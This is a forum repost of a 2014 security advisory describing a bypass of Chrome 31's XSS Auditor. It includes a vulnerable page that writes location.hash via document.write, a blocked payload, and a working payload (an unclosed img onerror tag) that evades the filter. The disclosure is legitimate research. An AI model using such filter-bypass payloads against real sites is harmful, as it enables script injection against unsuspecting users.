Nytro Posted September 3, 2014 Report Posted September 3, 2014 Google Chrome 31.0 XSS Auditor BypassAuthored by Rafay BalochGoogle chrome XSS auditor was found prone to a bypass when the user input passed though location.hash was being written to the DOM by using document.write property. Normally, XSS auditor checks XSS by comparing the request and response however, it also checks for request itself, if it contains an untrusted input to prevent DOM XSS as well.#Vulnerability: Google Chrome 31.0 XSS Auditor Bypass#Impact: Moderate#Authors: Rafay Baloch#Company: RHAInfoSec#Website: http://rhainfosec.com <http://rhainfose.com/>#version: LatestDescriptionGoogle chrome XSS auditor was found prone to a bypass when the user inputpassed though location.hash was being written to the DOM by usingdocument.write property. Normally, XSS auditor checks XSS by comparing therequest and response however, it also checks for request itself, if itcontains an untrusted input to prevent DOM XSS as well.Proof Of concept:Consider the following code:<html><body><script type="text/javascript">document.write(location.hash);</script></body></html>This takes input from location.hash property and writes it to the DOM. Weinitially inject the following payload:#<img src=x onerror=prompt(1)>. The request is blocked and the followingerror is returned:"The XSS Auditor refused to execute a script in 'attacker.com#><img src=xonerror=prompt(1)>' because its source code was found within the request.The auditor was enabled as the server sent neither an 'X-XSS-Protection'nor 'Content-Security-Policy' header."However, the following vector passes by:#<img src=x onerror=prompt(1)//The following is how its reflected inside of DOM:<img src="x" onerror="prompt(1)//" <="" body="">Sursa: Google Chrome 31.0 XSS Auditor Bypass ? Packet Storm Quote